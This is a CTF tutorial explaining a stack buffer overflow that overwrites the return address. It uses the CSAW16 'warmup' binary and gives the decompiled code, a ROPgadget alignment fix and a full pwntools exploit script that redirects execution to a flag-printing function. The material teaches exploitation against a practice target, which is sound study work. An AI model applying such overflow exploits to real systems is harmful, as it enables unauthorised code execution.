Stack Basics: Call Function

Introduction

As previously mentioned, we can overwrite the buffer and override certain local variables. However, what happens when we have enough buffer space to override all the way to the return address?

Well, this can lead to even more devasting consequences. With an overwrite over the returning address (EIP/RIP), we can call any function avaliable to us (that we know the address of).

In this challenge, we’re going to call a function that prints us the flag after we overwrite the return address.

Example

Following the “nightmare” practice challenges, let’s do the challenge from CSAW16 titled “warmup”.

We’re given a binary with the following decomposition in Ghidra:

1
void main(void)
2
{
3
    char local_88 [64];
4
    char local_48 [64];
5

6
    write(1,"-Warm Up-\n",10);
7
    write(1,&DAT_0040074c,4);
8
    sprintf(local_88,"%p\n",easy);
9
    write(1,local_88,9);
10
    write(1,&DAT_00400755,1);
11
    gets(local_48);
12
    return;
13
}

This is quite a simple binary. Particularly of note is the dangerous gets() function, which allows us to arbitrarily write past the buffer to any place we desire.

This means we can overwrite the return address RIP (64 bit binary) to a function of our choice. Looking at the avaliable functions in the binary, we see an interesting easy() function:

1
void easy(void)
2
{
3
    system("cat flag.txt");
4
    return;
5
}

Simple. All we have to do is overwrite RIP to point to this function, and we’re done. However, one of the most crucial parts of this challenge is the MOVAPS alignment issue. The stack is required to be aligned to 16 bytes. Sometimes we need to pad the stack with an extra 8 bytes for this alingment to not be messed up.

The original solution segfaults on MOVAPS, indicating to us that there is an alignment issue. To fix this, we can use ROPgadget to find any ret instruction to pad.

> ROPgadget --binary warmup | grep "ret"
...
0x00000000004004a1 : ret
...

After adding this to our ROP chain, we can complete the challenge. Here is the solution script:

1
from pwn import *
2

3
RET_GADGET = 0x4004A1
4

5
p = process("./warmup")
6
p.recvuntil("WOW:")
7
addr = int(p.recvline().strip(), 16) # convert hex to integer for p64
8

9
payload = b"A" * 0x48  # write up to RIP
10
payload += p64(RET_GADGET) # movaps alignment
11
payload += p64(addr) # 'easy' function
12

13
p.sendline(payload)
14
p.interactive()